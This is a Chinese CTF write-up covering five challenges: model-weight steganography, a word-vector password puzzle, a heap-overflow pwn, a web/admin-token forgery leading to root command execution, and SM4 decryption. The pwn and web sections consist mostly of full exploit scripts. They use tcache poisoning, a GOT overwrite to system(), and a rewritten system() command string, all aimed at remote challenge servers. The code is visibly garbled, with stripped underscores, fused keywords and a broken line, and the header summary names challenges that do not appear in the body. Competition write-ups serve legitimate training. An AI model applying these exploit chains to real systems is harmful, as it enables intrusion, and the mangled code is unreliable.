2026数字中国创新⼤赛数字安全赛道暨三明市第六届“红明谷”杯⼤赛-WriteUp

admin 2026-04-25 04:39:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档是2026数字中国创新大赛数字安全赛道WriteUp,详细记录了两个Web题目的解题过程。gopherblog题目通过未授权SQL注入获取JWT密钥,伪造管理员令牌后利用Go模板注入实现命令执行获取flag;Active题目通过目录枚举发现备份文件泄露,分析JAR包后利用XXE外带数据读取flag。文档提供了完整的漏洞利用链和可复现的Python代码。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验,红队


Model-Entropy

题目分析

压缩包解压后包含 3 个文件:

  • 123.txt
  • sentiment_analysis.ipynb
  • sentiment_model.npz –   其中 123.txt 为空,核心内容显然在 notebook 和模型权重文件里。 –   notebook 中给出的描述是一个“情感分析模型”,结构如下: –   Input(18) -> Dense(20, ReLU) -> Dense(2, Softmax) –   对应参数为:
  • embedding_layer,形状 (18, 20)
  • hidden_bias,形状 (20,)
  • output_layer,形状 (20, 2)
  • output_bias,形状 (2,) –   题目提示中提到“Embedding 层参数规模显著异常缩减”,这里其实已经在暗示:这个所谓的 embedding_layer 并不像正常语义模型中的 embedding,更像一个被 –   拿来做隐写的矩阵载体。

第一步:验证模型是否真实可用

notebook 中声称该模型在数据集上有较高准确率,但实际复现 forward 后,得到的准确率只有:

0.49125

这基本就是随机猜测水平,说明:

  1. 这不是一个真正训练好的情感分析模型
  2. notebook 中的性能描述是烟雾弹
  3. 重点应该放到权重文件本身,而不是分类逻辑

第二步:检查参数来源

继续分析 sentiment_model.npz 后发现,整个模型参数都能被一个固定随机种子直接重建:

`import numpy as np

  rng = np.random.default_rng(42)

  embeddinglayer = (rng.standardnormal(18 * 20) * 0.1).astype(np.float32).reshape(18, 20)   hiddenbias     = (rng.standardnormal(20) * 0.01).astype(np.float32)   outputlayer    = (rng.standardnormal(20 * 2) * 0.1).astype(np.float32).reshape(20, 2)   outputbias     = (rng.standardnormal(2) * 0.01).astype(np.float32)`

这说明所谓“模型权重”本质上只是伪随机数,并非训练结果。

第三步:定位被修改的部分

把题目中的参数与 seed=42 生成的参考参数逐位比较,结果发现:

  • hidden_bias 完全一致
  • output_layer 完全一致
  • output_bias 完全一致
  • 只有 embedding_layer 被修改过 –   进一步比较 float32 的底层位模式: –   A.view(np.uint32) ^ ref.view(np.uint32) –   发现所有差异都满足: –   xor = 0x1 –   也就是说,修改只发生在 float32 的最低有效位 LSB 上。 –   这就是典型的权重隐写:
  • 载体:embedding_layer
  • 存储方式:float32 最低有效位
  • 读取方式:按固定顺序提取 bit 流

第四步:提取隐藏数据

将 embedding_layer 强制视为 uint32,提取每个数的最低位:

`bits = (embedding.view(np.uint32) & 1).astype(np.uint8)

  #然后按行优先展开,并每 8 位按 little-endian 打包成字节:

  cipher = bytes(       sum(int(bitsflat[i + j]) << j for j in range(8))       for i in range(0, len(bitsflat) – 7, 8)   )`

得到一段非随机但也不是明文的字节流:

b'!$.4/~*-fa\x7fqv~7&q{~`uyx~mtq|~a!\x7f)fav\x7f{7b"5'

说明 LSB 中确实藏了数据,但后面还有一层简单加密。

第五步:恢复密钥并解密

CTF 中很常见的做法是再做一层循环异或。由于 flag 通常以 flag{ 开头,可以直接用已知明文去反推密钥。

假设密文开头对应明文 flag{:

cipher[:5] ^ b'flag{' = b'GHOST'

因此循环异或密钥为:

GHOST

再用该密钥解密整个字节流:

plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher))

输出为:

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

完整利用脚本

`import numpy as np

  data = np.load(‘sentimentmodel.npz’)   embedding = data[’embeddinglayer’].astype(np.float32)   bits = (embedding.view(np.uint32) & 1).astype(np.uint8).ravel(order=’C’)   cipher = bytes(       sum(int(bits[i + j]) << j for j inrange(8))       for i inrange(0, len(bits) – 7, 8)   ).rstrip(b’\x00′)   key = b’GHOST’   plain = bytes(c ^ key[i % len(key)] for i, c inenumerate(cipher)) print(plain.decode())`

Flag

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

Lost-Signal import&nbsp;zipfile import&nbsp;gensim.downloader&nbsp;as&nbsp;api # 加载词向量模型 model = api.load('glove-twitter-25') # 词类比任务 queries = [ &nbsp; &nbsp; ('man',&nbsp;'king',&nbsp;'queen'), &nbsp; &nbsp; ('paris',&nbsp;'france',&nbsp;'italy'), &nbsp; &nbsp; ('bad',&nbsp;'worst',&nbsp;'best'), &nbsp; &nbsp; ('small',&nbsp;'tiny',&nbsp;'massive'), &nbsp; &nbsp; ('cat',&nbsp;'kitten',&nbsp;'puppy'), &nbsp; &nbsp; ('winter',&nbsp;'cold',&nbsp;'hot'), ] # 生成密码 password =&nbsp;'' for&nbsp;a, b, c&nbsp;in&nbsp;queries: &nbsp; &nbsp; word = model.most_similar(positive=[a, c], negative=[b], topn=1)[0][0] &nbsp; &nbsp; password += word print('password =', password) # 直接解压同目录的 archive.zip with&nbsp;zipfile.ZipFile('archive.zip')&nbsp;as&nbsp;inner: &nbsp; &nbsp;&nbsp;# 读取第一个文件,用生成的密码解密 &nbsp; &nbsp; data = inner.read(inner.namelist()[0], pwd=password.encode()) &nbsp; &nbsp;&nbsp;print('\n解密内容:') &nbsp; &nbsp;&nbsp;print(data.decode())

  • archive.zip 密码:sobrazilcooldealdogfashion
  • flag{ae97fb341dc2e779b230f141fb7e04ee}

Pwn

odd-chat

题目思路

这题本质上是一个堆题,核心漏洞在聊天功能对“消息长度”的处理。程序先读一个整数长度,再做“取绝对值再 % 24”,然后按这个长度读入消息到malloc(0x20) 的堆块里。正常情况下最多只能写 24 字节,但如果输入 -2147483648,也就是 INT_MIN,它的“取绝对值”会发生 32 位有符号溢出,结果仍然是负数。后面的读入函数又用无符号比较判断循环条件,于是这个负数会被当成一个巨大的正数,最终形成几乎无限长的堆溢出。

程序还会把消息内容按 8 字节一组做一个可逆的 TEA 风格加密,所以如果想让堆上的最终内容变成我们想要的字节,不能直接发目标内容,而要先算出它的“解密前像”。这就是脚本里 dec_block() 的作用。

程序关键点

逆向后可以整理成下面这些全局对象和逻辑:

head &nbsp; &nbsp; &nbsp;= *(QWORD *)0x6020d8; &nbsp; // 聊天链表头 &nbsp; count &nbsp; &nbsp; = *(QWORD *)0x6020e8; &nbsp; // 聊天计数 &nbsp; name_ptr &nbsp;= *(QWORD *)0x6020f0; &nbsp; // 用户名指针,初始指向 0x602100 &nbsp; atoi@got &nbsp;= 0x602060;

每次 Chat 时会:

  1. malloc(0x20) 申请一个块。
  2. chunk->next = old_head,再把它挂到链表头。
  3. 读取消息长度。
  4. 按长度读消息到这个堆块。
  5. 原地加密。
  6. 用 printf(“[#%d] User: %s\n”, …, name_ptr) 和 printf(“> %s\n”, chunk) 回显。 1.   也就是说:
  • 块大小是 0x20,实际 chunk size 是 0x30。
  • 用户名打印走的是 name_ptr。
  • 只要能改 name_ptr,就能让 %s 去读任意地址。
  • 只要能改 name_ptr,选项 2 的 fgets(name_ptr, 0x30, stdin) 就能向任意地址写最多 0x30 字节。 –   漏洞点 –   聊天长度的逻辑等价于:Plain &nbsp; &nbsp;int n = atoi(buf); &nbsp; &nbsp;n = abs(n) % 24; &nbsp; &nbsp;read_msg(chunk, n);   但 abs(INT_MIN) 在 32 位里还是 INT_MIN,也就是 0xfffffff8。之后读入函数大概是:Plain &nbsp; int i = 0; &nbsp; while ((unsigned)i < (unsigned)n) { &nbsp; &nbsp; &nbsp;c = getchar(); &nbsp; &nbsp; &nbsp;if (c == '\n') { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;buf[i] = 0; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return i; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp;buf[i++] = c; &nbsp; }   这时 n 是 0xfffffff8,循环几乎不会因为长度结束,只会因为我们主动发换行才停,所以就是可控长度堆溢出。   利用过程
  1. 先申请两个 0x20 的聊天块。
  2. 选择 Clear chat,把这两个块都 free 到 tcache 里。
  3. 再申请一个块,并用 INT_MIN 长度触发溢出,从第一个块溢出到第二个已释放块的 tcache fd 指针。
  4. 因为两个用户块相隔 0x30,所以只要写 0x38 字节,最后 8 字节正好落在第二个已释放块的 fd 上。
  5. 把这个 fd 改成 0x6020e0,这样下一次 malloc(0x20) 就会返回这个 .bss 地址。
  6. 再分配一次,把正常的第二个 tcache 块取出来。
  7. 第三次分配时,malloc(0x20) 就会返回 0x6020e0。
  8. 这次聊天的数据写到 0x6020e0 开始的位置,我们构造: 1.   0x6020e0: 0x0000000000000000 2.   0x6020e8: 0x0000000000000001 3.   0x6020f0: 0x0000000000602060 // name_ptr = atoi@got
  9. 聊天结束时程序会立刻执行 printf(…, name_ptr),这时 name_ptr 已经指向 atoi@got,于是直接泄漏 atoi 的实际地址。
  10. 用提供的 libc.so.6 算出:
  11. libc_base = atoi – 0x40670
  12. system = libc_base + 0x4f420
  13. 选择 Change name,程序会执行 fgets(name_ptr, 0x30, stdin)。由于 name_ptr = atoi@got,所以这一步实际上把 system 地址写进了 atoi@got。
  14. 主菜单下一次读选项时,本来会调用 atoi,现在等价于调用 system。于是直接输入 cat /flag*,拿到 flag。 1.   为什么要自己写“解密函数” 2.   程序会在读入消息后,把消息按 8 字节块做原地加密。我们想让堆上的最终内容变成:
  • tcache poison 的目标指针
  • fake chunk 里的伪造字段 –   所以发给程序的不能是“目标字节”,而必须是“加密前的原像”。脚本里的 dec_block() 就是把“想要落到堆上的 8 字节”反推成“应该发送的 8 字节”。

解题脚本

`#!/usr/bin/env python3 import socket import struct import sys import time

  HOST = “60.205.218.124”   PORT = 22559

  DELTA = 0x9E3879B9   KEY = 0x114514   ROUNDS = 17

  TCACHETARGET = 0x6020E0   ATOIGOT = 0x602060

  ATOIOFF = 0x40670   SYSTEMOFF = 0x4F420

defdecblock(block):       v0, v1 = struct.unpack(“ inrange(ROUNDS):           v1 = (               v1               – (                   (((v0 << 4) & 0xFFFFFFFF) + KEY)                   ^ ((total + v0) & 0xFFFFFFFF)                   ^ (((v0 >> 5) + KEY) & 0xFFFFFFFF)               )           ) & 0xFFFFFFFF           total = (total – DELTA) & 0xFFFFFFFF           v0 = (               v0               – (                   (((v1 << 4) & 0xFFFFFFFF) + KEY)                   ^ ((total + v1) & 0xFFFFFFFF)                   ^ (((v1 >> 5) + KEY) & 0xFFFFFFFF)               )           ) & 0xFFFFFFFF       return struct.pack(“<II”, v0, v1)

defrecvuntil(sock, marker, timeout=5):       sock.settimeout(timeout)       data = b””       while marker notin data:           chunk = sock.recv(4096)           ifnot chunk:               break           data += chunk       return data

defrecvall_brief(sock, timeout=1):       sock.settimeout(timeout)       data = b””       try:           whileTrue:               chunk = sock.recv(4096)               ifnot chunk:                   break               data += chunk       except Exception:           pass       return data

defsendline(sock, data):       sock.sendall(data + b”\n”)

defdochat(sock, sizeline, message):       sendline(sock, b”1″)       output = recvuntil(sock, b”How many characters do you want to send: “)       sock.sendall(size_line + b”\n”)       output += recvuntil(sock, b”> “)       sock.sendall(message + b”\n”)       output += recvuntil(sock, b”>> “, timeout=8)       return output

defbuildpoisonpayload():       return decblock(b”\x00″ * 8) * 6 + decblock(struct.pack(“<Q”, TCACHE_TARGET))

defbuildfakechunkpayload():       return (           decblock(b”\x00″ * 8)           + decblock(struct.pack(“block(struct.pack(“<Q”, ATOI_GOT))       )

defexploit(command):       poison = buildpoisonpayload()       fake = buildfakechunk_payload()

      sock = socket.create_connection((HOST, PORT), timeout=5)

      recvuntil(sock, b”Please enter your name: “)       sendline(sock, b”aaaa”)       recvuntil(sock, b”>> “)

      dochat(sock, b”2″, b”A”)       dochat(sock, b”2″, b”B”)

      sendline(sock, b”4″)       recvuntil(sock, b”>> “)

      dochat(sock, b”-2147483648″, poison)       dochat(sock, b”0″, b””)       leakoutput = dochat(sock, b”-2147483648″, fake)

      marker = b”[#1] User: ”       pos = leak_output.find(marker)       if pos == -1:           raise RuntimeError(“failed to locate libc leak”)

      leakline = leakoutput[pos + len(marker) :].split(b”\n”, 1)[0]       atoiaddr = int.frombytes(leakline[:6].ljust(8, b”\x00″), “little”)       libcbase = atoiaddr – ATOIOFF       systemaddr = libcbase + SYSTEMOFF       systembytes = struct.pack(“<Q”, systemaddr)       ifb”\n”in systembytes:           raise RuntimeError(“system address contains newline byte”)

      sendline(sock, b”2″)       recvuntil(sock, b”Please enter your name: “)       sock.sendall(system_bytes + b”\n”)       recvuntil(sock, b”>> “)

      sock.sendall(command + b”\n”)       time.sleep(0.5)       command = b”cat /flag*”       iflen(sys.argv) > 1:           command = sys.argv[1].encode()       iflen(command) > 15:           raise SystemExit(“command is too long for the 0x10-byte menu buffer”)

      atoiaddr, libcbase, systemaddr, output = exploit(command)       print(“atoi:”, hex(atoiaddr))       print(“libc:”, hex(libcbase))       print(“system:”, hex(systemaddr))       sys.stdout.buffer.write(output)

if name == “main“:       main()`

Neural-Inference

题目信息

  • 远程地址:nc 8.147.132.32 13663
  • 实际暴露服务:HTTP Flask 前端
  • 后端:root 权限运行的 engine
  • 最终 flag:flag{a7ee13ca-7720-4c79-9ac1-f94171b71313}

总体思路

这题的利用链是:

  1. 前端暴露 /api/raw,可以直接向后端发送原始协议命令。

  2. /api/status

    会泄露 pid 和 uptime

  3. 后端 admin token 的 secret 只依赖 pid 和 start_time

  4. start_time = server_time - uptime

    ,而服务端当前时间可从 HTTP Date 头恢复。

  5. 因此可以本地重建 admin secret,伪造合法 admin 请求。

  6. admin 的 diagnostics 分支会先执行自定义虚拟机 VNM,再对全局字符串调用 system()

  7. VNM 可以改写 system() 使用的命令字符串。

  8. 把命令改成 cat /home/ctf/flag >/opt/neuralchat/downloads/<文件名>,最后通过下载接口取回 flag。 1.   一句话总结: 2.   信息泄露 -> 重建 admin 认证 -> VNM 改写 system 命令 -> root 读 flag

详细分析

  1. /api/raw

    允许直接访问后端协议

前端 Flask 应用暴露了 /api/raw

  • 它接收 base64 编码的原始数据
  • 第 1 个字节作为 command
  • 剩余部分作为 payload
  • 直接转发给后端 engine–   这意味着 Web 层没有真正阻止我们访问后端管理命令。
  1. admin token 可以被远程重建

逆向后端发现 admin 认证逻辑本质上是:

sha256( &nbsp; &nbsp; ts || &nbsp; &nbsp; subcmd || &nbsp; &nbsp; payload || &nbsp; &nbsp; secret )

其中 secret 来自:

derive_admin_key(pid, start_time)

而这两个值都不是秘密:

  • pid

    /api/status 直接返回

  • start_time

    :由服务端当前时间减去 uptime 得到 –   远程请求 /api/status 的响应示例:

    {   “model_loaded”:1, “pid”:8, “sessions”:0, “status”:”running”, “uptime”:136, “version”:”2.1.0″ }

因此 admin token 可以完全在本地计算。

  1. diagnostics 分支存在危险执行链

handle_admin 的 subcmd = 5 会进入 diagnostics 分支

  1. 先调用 execute_vnm(payload, len)
  2. 如果 VNM 成功返回
  3. 再调用:system(g_pwn + 0x10)

默认命令是:

/opt/neuralchat/plugins/diag.sh

所以如果能改掉 g_pwn + 0x10 处的字符串,就能让后端以 root 权限执行任意 shell 命令。

  1. VNM 可以按 4 字节改写命令字符串

VNM 里和利用相关的两个操作已经足够:

  • 0x02 reg imm32

作用:把 4 字节立即数加载到寄存器

  • 0x07 off reg

作用:把寄存器中的 4 字节内容写到 g_pwn + 0x90 + sign(off)

  目标字符串在:

g_pwn + 0x10

所以只要令:

sign(off) = -0x80 + i

那么写入地址就是:

g_pwn + 0x90 - 0x80 + i = g_pwn + 0x10 + i

这样就可以每次覆盖 4 个字节,把整条 shell 命令写进去。

利用过程

第一步:确认远程服务类型

虽然题目给的是 nc 8.147.132.32 13663,但直接发送 HTTP 请求后发现是 Flask 应用,而不是裸 socket 服务。

访问:

GET /api/status HTTP/1.1 Host: 8.147.132.32

会得到 JSON 状态信息,并附带标准 HTTP Date 响应头。

第二步:恢复 admin secret

已知:

  • pid

    来自 /api/status

  • uptime

    来自 /api/status

  • server_time

    来自 HTTP Date–   因此:start_time = server_time – uptime

再复现二进制中的 derive_admin_key(pid, start_time),就能得到 admin secret。

第三步:确认 diagnostics 子命令编号

逆向 jump table 后,确认:

subcmd = 5

对应 diagnostics。

为了验证认证是否正确,先发送一个最简单的 VNM 程序:

0xff

即直接 halt。

返回:

Diagnostic complete

说明:

  • token 计算正确
  • admin 权限已拿到
  • diagnostics 路径可用

第四步:构造恶意 VNM 改写命令

目标命令:

cat&nbsp;/home/ctf/flag>/opt/neuralchat/downloads/flag_xxxxxx

之所以输出到下载目录,是因为

  • flag 本身不可直接读

  • 但 diagnostics 以 root 执行

  • /api/download

    可以直接下载下载目录下的文件 –   VNM 程序按 4 字节分块生成:

  0x02&nbsp;0x00 <4字节数据>0x07&nbsp;<目标偏移>&nbsp;0x00

最后补一个:

0xff

第五步:执行并取回 flag

admin diagnostics 执行后,远端 root 进程运行:

cat&nbsp;/home/ctf/flag>/opt/neuralchat/downloads/flag_xxxxxx

然后访问:/api/download?file=flag_xxxxxx

即可取回 flag。

完整利用脚本

`#!/usr/bin/env python3 import base64 import email.utils import hashlib import json import random import string import struct import time import urllib.request

HOST = “http://8.147.132.32:13663” SBOX = bytes.fromhex(     “637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0”     “b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275”     “09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf”     “d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2”     “cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb”     “e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08”     “ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e”     “e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16” )

defgetstatus():     req = urllib.request.Request(f”{HOST}/api/status”)     with urllib.request.urlopen(req, timeout=10) as resp:         body = resp.read()         headerdate = resp.headers[“Date”]         status = json.loads(body)

    parts = headerdate.split(“, “)     iflen(parts) > 2:         headerdate = “, “.join(parts[-2:])

    serverts = int(email.utils.parsedatetodatetime(headerdate).timestamp())     return status, server_ts

defderiveadminsecret(pid, starttime):     x = ((pid * 0x045D9F3B) ^ ((starttime & 0xFFFFFFFF) * 0x119DE1F3)) & 0xFFFFFFFF     out = bytearray()

    for i inrange(16):         x ^= (x << 13) & 0xFFFFFFFF         x ^= x >> 7         x ^= (x << 17) & 0xFFFFFFFF         out.append(SBOX[x & 0xFF])         x = (x + (((i + 1) * 0x9E3779B9) & 0xFFFFFFFF)) & 0xFFFFFFFF

    returnbytes(out)

defapi_raw(raw):     data = json.dumps({“data”: base64.b64encode(raw).decode()}).encode()     req = urllib.request.Request(         f”{HOST}/api/raw”,         data=data,         headers={“Content-Type”: “application/json”},     )     with urllib.request.urlopen(req, timeout=10) as resp:         body = json.loads(resp.read())     return base64.b64decode(body[“data”])

defadmin(subcmd, payload):     status, serverts = getstatus()     pid = int(status[“pid”])     starttime = serverts – int(status[“uptime”])     secret = deriveadminsecret(pid, start_time)

    digest = hashlib.sha256()     digest.update(struct.pack(“<I”, server_ts))     digest.update(bytes([subcmd]))     if payload:         digest.update(payload)     digest.update(secret)     token = digest.digest()

    raw = bytes([0xFF]) + struct.pack(“<I”, serverts) + bytes([subcmd]) + token + payload     resp = apiraw(raw)     return resp[0], resp[1:]

defbuildvnmwrite_command(command):     program = bytearray()     data = command.encode() + b”\x00″

    for i inrange(0, len(data), 4):         chunk = data[i : i + 4].ljust(4, b”\x00″)         program += bytes([2, 0]) + chunk         offset = (-128 + i) & 0xFF         program += bytes([7, offset, 0])

    program += b”\xFF”     returnbytes(program)

defmain():     outname = “flag” + “”.join(random.choice(string.asciilowercase) for  inrange(6))     shell = f”cat /home/ctf/flag>/opt/neuralchat/downloads/{outname}”     vnm = buildvnmwritecommand(shell)

    status, data = admin(5, vnm)     print(f”diagnostic status={status} message={data.decode(errors=’replace’)}”)

    url = f”{HOST}/api/download?file={outname}”     for  inrange(10):         try:             with urllib.request.urlopen(url, timeout=10) as resp:                 print(resp.read().decode(errors=”replace”))                 return         except Exception:             time.sleep(0.5)

    raise SystemExit(“failed to fetch exported flag”)

if name == “main“:     main()`

Re

ezSM4

逆向伪代码里直接给出了:

  1. SM4 密钥

    12345678abcdefgh(16 字节)

  2. 密文

    :两个 64 位常量拼接成 16 字节

   0x30E9089635465E4A0x4D59A622A0CA28DA

转小端 hex 得到:4a5e46359608e930da28caa022a6594d

算法特点

  • 标准 SM4 分组密码(128 位分组 / 128 位密钥)
  • 使用 小端序(little-endian) 解析
  • 单分组加密,无填充、无链式模式(ECB)

解题步骤

  1. 用密钥 12345678abcdefgh
  2. 对 16 字节密文做 SM4 解密
  3. 解密结果就是 16 字节明文
  4. 按题目格式拼接:flag{明文}/usr/bin/env python3
#!/usr/bin/env python3# -*- coding: utf-8 -*-import&nbsp;struct# ===================== SM4 常量定义 =====================# SM4 S盒SM4_SBOX = [&nbsp; &nbsp;&nbsp;0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,&nbsp; &nbsp;&nbsp;0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,&nbsp; &nbsp;&nbsp;0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,&nbsp; &nbsp;&nbsp;0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,&nbsp; &nbsp;&nbsp;0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,&nbsp; &nbsp;&nbsp;0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,&nbsp; &nbsp;&nbsp;0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,&nbsp; &nbsp;&nbsp;0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,&nbsp; &nbsp;&nbsp;0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,&nbsp; &nbsp;&nbsp;0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,&nbsp; &nbsp;&nbsp;0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,&nbsp; &nbsp;&nbsp;0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,&nbsp; &nbsp;&nbsp;0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,&nbsp; &nbsp;&nbsp;0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,&nbsp; &nbsp;&nbsp;0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,&nbsp; &nbsp;&nbsp;0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48]# 密钥扩展参数FK = [0xa3b1bac6,&nbsp;0x56aa3350,&nbsp;0x677d9197,&nbsp;0xb27022dc]CK = [&nbsp; &nbsp;&nbsp;0x00070e15,0x1c232a31,0x383f464d,0x545b6269,&nbsp; &nbsp;&nbsp;0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,&nbsp; &nbsp;&nbsp;0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,&nbsp; &nbsp;&nbsp;0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,&nbsp; &nbsp;&nbsp;0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,&nbsp; &nbsp;&nbsp;0x30373e45,0x4c535a61,0x686f767d,0x848b9299,&nbsp; &nbsp;&nbsp;0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,&nbsp; &nbsp;&nbsp;0x10171e25,0x2c333a41,0x484f565d,0x646b7279]# ===================== SM4 工具函数 =====================def&nbsp;rotate_left_32(x:&nbsp;int, n:&nbsp;int) ->&nbsp;int:&nbsp; &nbsp;&nbsp;"""32 位循环左移"""&nbsp; &nbsp; x &=&nbsp;0xFFFFFFFF&nbsp; &nbsp;&nbsp;return&nbsp;((x << n) &&nbsp;0xFFFFFFFF) | (x >> (32&nbsp;- n))def&nbsp;sbox_transform(a:&nbsp;int) ->&nbsp;int:&nbsp; &nbsp;&nbsp;"""S盒替换(4 字节并行)"""&nbsp; &nbsp;&nbsp;return&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp; (SM4_SBOX[(a >>&nbsp;24) &&nbsp;0xFF] <<&nbsp;24) |&nbsp; &nbsp; &nbsp; &nbsp; (SM4_SBOX[(a >>&nbsp;16) &&nbsp;0xFF] <<&nbsp;16) |&nbsp; &nbsp; &nbsp; &nbsp; (SM4_SBOX[(a >> &nbsp;8) &&nbsp;0xFF] << &nbsp;8) |&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SM4_SBOX[a &&nbsp;0xFF]&nbsp; &nbsp; )def&nbsp;linear_transform_key(b:&nbsp;int) ->&nbsp;int:&nbsp; &nbsp;&nbsp;"""密钥扩展线性变换 L'"""&nbsp; &nbsp;&nbsp;return&nbsp;b ^ rotate_left_32(b,&nbsp;13) ^ rotate_left_32(b,&nbsp;23)def&nbsp;linear_transform_enc(b:&nbsp;int) ->&nbsp;int:&nbsp; &nbsp;&nbsp;"""加解密线性变换 L"""&nbsp; &nbsp;&nbsp;return&nbsp;b ^ rotate_left_32(b,&nbsp;2) ^ rotate_left_32(b,&nbsp;10) ^ rotate_left_32(b,&nbsp;18) ^ rotate_left_32(b,&nbsp;24)# ===================== SM4 核心算法 =====================def&nbsp;key_expansion(mk_words:&nbsp;list[int]) ->&nbsp;list[int]:&nbsp; &nbsp;&nbsp;"""密钥扩展,生成 32 轮轮密钥"""&nbsp; &nbsp; K = [mk_words[i] ^ FK[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(4)]&nbsp; &nbsp; round_keys = []&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(32):&nbsp; &nbsp; &nbsp; &nbsp; t = K[(i+1)%4] ^ K[(i+2)%4] ^ K[(i+3)%4] ^ CK[i]&nbsp; &nbsp; &nbsp; &nbsp; K[i%4] ^= linear_transform_key(sbox_transform(t))&nbsp; &nbsp; &nbsp; &nbsp; round_keys.append(K[i%4])&nbsp; &nbsp;&nbsp;return&nbsp;round_keysdef&nbsp;sm4_encrypt_block(plain_16:&nbsp;bytes, key_16:&nbsp;bytes) ->&nbsp;bytes:&nbsp; &nbsp;&nbsp;"""SM4 单分组加密(小端序)"""&nbsp; &nbsp; X =&nbsp;list(struct.unpack("<4I", plain_16))&nbsp; &nbsp; MK =&nbsp;list(struct.unpack("<4I", key_16))&nbsp; &nbsp; rk = key_expansion(MK)&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(32):&nbsp; &nbsp; &nbsp; &nbsp; t = X[(i+1)%4] ^ X[(i+2)%4] ^ X[(i+3)%4] ^ rk[i]&nbsp; &nbsp; &nbsp; &nbsp; X[i%4] ^= linear_transform_enc(sbox_transform(t))&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("<4I", X[3], X[2], X[1], X[0])def&nbsp;sm4_decrypt_block(cipher_16:&nbsp;bytes, key_16:&nbsp;bytes) ->&nbsp;bytes:&nbsp; &nbsp;&nbsp;"""SM4 单分组解密(小端序)"""&nbsp; &nbsp; X =&nbsp;list(struct.unpack("<4I", cipher_16))&nbsp; &nbsp; MK =&nbsp;list(struct.unpack("<4I", key_16))&nbsp; &nbsp; rk = key_expansion(MK)&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(32):&nbsp; &nbsp; &nbsp; &nbsp; t = X[(i+1)%4] ^ X[(i+2)%4] ^ X[(i+3)%4] ^ rk[31&nbsp;- i]&nbsp; &nbsp; &nbsp; &nbsp; X[i%4] ^= linear_transform_enc(sbox_transform(t))&nbsp; &nbsp;&nbsp;return&nbsp;struct.pack("<4I", X[3], X[2], X[1], X[0])# ===================== 解密 Flag =====================if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;# 从逆向题目中得到的密钥和密文&nbsp; &nbsp; KEY =&nbsp;b"12345678abcdefgh"&nbsp; &nbsp; CIPHER_HEX =&nbsp;"4a5e46359608e930da28caa022a6594d"&nbsp; &nbsp; CIPHER =&nbsp;bytes.fromhex(CIPHER_HEX)&nbsp; &nbsp;&nbsp;# 解密&nbsp; &nbsp; plain_bytes = sm4_decrypt_block(CIPHER, KEY)&nbsp; &nbsp; plain_str = plain_bytes.decode()&nbsp; &nbsp;&nbsp;# 输出结果&nbsp; &nbsp;&nbsp;print(f"[+] 密钥 &nbsp; 